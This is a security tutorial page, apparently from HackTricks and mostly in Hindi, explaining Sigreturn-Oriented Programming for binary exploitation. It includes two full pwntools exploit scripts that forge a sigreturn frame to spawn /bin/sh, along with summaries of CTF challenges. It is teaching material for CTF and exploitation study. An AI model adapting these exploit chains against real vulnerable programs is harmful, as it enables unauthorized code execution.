SROP - Sigreturn-Oriented Programming

Support HackTricks

Basic Information

Sigreturn एक विशेष syscall है जिसका मुख्य उपयोग एक सिग्नल हैंडलर के निष्पादन के बाद सफाई करने के लिए किया जाता है। सिग्नल वे व्यवधान हैं जो ऑपरेटिंग सिस्टम द्वारा एक प्रोग्राम को भेजे जाते हैं, अक्सर यह संकेत देने के लिए कि कोई असाधारण स्थिति उत्पन्न हुई है। जब एक प्रोग्राम एक सिग्नल प्राप्त करता है, तो यह सिग्नल को संभालने के लिए अस्थायी रूप से अपने वर्तमान कार्य को रोकता है, एक सिग्नल हैंडलर के साथ, जो सिग्नल को संभालने के लिए डिज़ाइन किया गया एक विशेष फ़ंक्शन है।

सिग्नल हैंडलर के समाप्त होने के बाद, प्रोग्राम को अपने पिछले स्थिति पर लौटने की आवश्यकता होती है जैसे कि कुछ भी नहीं हुआ। यहीं पर sigreturn काम आता है। यह प्रोग्राम को सिग्नल हैंडलर से लौटने में मदद करता है और सिग्नल हैंडलर द्वारा उपयोग किए गए स्टैक फ्रेम (मेमोरी का वह भाग जो फ़ंक्शन कॉल और स्थानीय चर को संग्रहीत करता है) को साफ करके प्रोग्राम की स्थिति को बहाल करता है।

दिलचस्प बात यह है कि sigreturn प्रोग्राम की स्थिति को कैसे बहाल करता है: यह CPU के सभी रजिस्टर मानों को स्टैक पर संग्रहीत करके ऐसा करता है। जब सिग्नल अब अवरुद्ध नहीं होता है, sigreturn इन मानों को स्टैक से पॉप करता है, प्रभावी रूप से CPU के रजिस्टर को उनके उस स्थिति पर रीसेट करता है जब सिग्नल को संभाला गया था। इसमें स्टैक पॉइंटर रजिस्टर (RSP) शामिल है, जो स्टैक के वर्तमान शीर्ष की ओर इशारा करता है।

Calling the syscall sigreturn from a ROP chain and adding the registry values we would like it to load in the stack it's possible to control all the register values and therefore call for example the syscall execve with /bin/sh.

Note how this would be a type of Ret2syscall that makes much easier to control params to call other Ret2syscalls:

Ret2syscall

If you are curious this is the sigcontext structure stored in the stack to later recover the values (diagram from here):

+--------------------+--------------------+
| rt_sigeturn()      | uc_flags           |
+--------------------+--------------------+
| &uc                | uc_stack.ss_sp     |
+--------------------+--------------------+
| uc_stack.ss_flags  | uc.stack.ss_size   |
+--------------------+--------------------+
| r8                 | r9                 |
+--------------------+--------------------+
| r10                | r11                |
+--------------------+--------------------+
| r12                | r13                |
+--------------------+--------------------+
| r14                | r15                |
+--------------------+--------------------+
| rdi                | rsi                |
+--------------------+--------------------+
| rbp                | rbx                |
+--------------------+--------------------+
| rdx                | rax                |
+--------------------+--------------------+
| rcx                | rsp                |
+--------------------+--------------------+
| rip                | eflags             |
+--------------------+--------------------+
| cs / gs / fs       | err                |
+--------------------+--------------------+
| trapno             | oldmask (unused)   |
+--------------------+--------------------+
| cr2 (segfault addr)| &fpstate           |
+--------------------+--------------------+
| __reserved         | sigmask            |
+--------------------+--------------------+

For a better explanation check also:

Example

You can find an example here जहाँ सिग्नरटर्न के लिए कॉल ROP के माध्यम से बनाया गया है (rxa में मान 0xf डालकर), हालाँकि यह वहाँ से अंतिम एक्सप्लॉइट है:

from pwn import *

elf = context.binary = ELF('./vuln', checksec=False)
p = process()

BINSH = elf.address + 0x1250
POP_RAX = 0x41018
SYSCALL_RET = 0x41015

frame = SigreturnFrame()
frame.rax = 0x3b            # syscall number for execve
frame.rdi = BINSH           # pointer to /bin/sh
frame.rsi = 0x0             # NULL
frame.rdx = 0x0             # NULL
frame.rip = SYSCALL_RET

payload = b'A' * 8
payload += p64(POP_RAX)
payload += p64(0xf)         # 0xf is the number of the syscall sigreturn
payload += p64(SYSCALL_RET)
payload += bytes(frame)

p.sendline(payload)
p.interactive()

Check also the exploit from here जहाँ बाइनरी पहले से ही sigreturn को कॉल कर रही थी और इसलिए इसे ROP के साथ बनाने की आवश्यकता नहीं है:

from pwn import *

# Establish the target
target = process("./small_boi")
#gdb.attach(target, gdbscript = 'b *0x40017c')
#target = remote("pwn.chal.csaw.io", 1002)

# Establish the target architecture
context.arch = "amd64"

# Establish the address of the sigreturn function
sigreturn = p64(0x40017c)

# Start making our sigreturn frame
frame = SigreturnFrame()

frame.rip = 0x400185 # Syscall instruction
frame.rax = 59       # execve syscall
frame.rdi = 0x4001ca # Address of "/bin/sh"
frame.rsi = 0x0      # NULL
frame.rdx = 0x0      # NULL

payload = "0"*0x28 # Offset to return address
payload += sigreturn # Function with sigreturn
payload += str(frame)[8:] # Our sigreturn frame, adjusted for the 8 byte return shift of the stack

target.sendline(payload) # Send the target payload

# Drop to an interactive shell
target.interactive()

अन्य उदाहरण और संदर्भ

  • Assembly binary जो stack पर लिखने की अनुमति देता है और फिर sigreturn syscall को कॉल करता है। यह संभव है कि stack पर एक ret2syscall को sigreturn संरचना के माध्यम से लिखा जाए और उस फ्लैग को पढ़ा जाए जो बाइनरी की मेमोरी के अंदर है।

  • Assembly binary जो stack पर लिखने की अनुमति देता है और फिर sigreturn syscall को कॉल करता है। यह संभव है कि stack पर एक ret2syscall को sigreturn संरचना के माध्यम से लिखा जाए (बाइनरी में स्ट्रिंग /bin/sh है)।

  • 64 बिट्स, कोई relro नहीं, कोई canary नहीं, nx, कोई pie नहीं। gets फ़ंक्शन का उपयोग करते हुए सरल बफर ओवरफ्लो जो ret2syscall को निष्पादित करता है। ROP श्रृंखला /bin/sh को .bss में लिखती है, फिर से gets को कॉल करती है, यह alarm फ़ंक्शन का दुरुपयोग करती है ताकि eax को 0xf पर सेट किया जा सके ताकि एक SROP को कॉल किया जा सके और एक शेल निष्पादित किया जा सके।

  • 64 बिट्स assembly प्रोग्राम, कोई relro नहीं, कोई canary नहीं, nx, कोई pie नहीं। प्रवाह stack में लिखने, कई रजिस्टरों को नियंत्रित करने, और एक syscall को कॉल करने की अनुमति देता है और फिर यह exit को कॉल करता है। चयनित syscall एक sigreturn है जो रजिस्टर सेट करेगा और eip को एक पूर्व syscall निर्देश को कॉल करने के लिए स्थानांतरित करेगा और बाइनरी स्पेस को rwx पर सेट करने के लिए memprotect को चलाएगा और बाइनरी स्पेस में ESP को सेट करेगा। प्रवाह का पालन करते हुए, प्रोग्राम फिर से ESP में पढ़ने को कॉल करेगा, लेकिन इस मामले में ESP अगली निर्देश की ओर इशारा करेगा, इसलिए एक शेलकोड पास करना इसे अगली निर्देश के रूप में लिखेगा और इसे निष्पादित करेगा।

  • SROP का उपयोग निष्पादन विशेषाधिकार (memprotect) देने के लिए किया जाता है उस स्थान पर जहां एक शेलकोड रखा गया था।

Support HackTricks

Last updated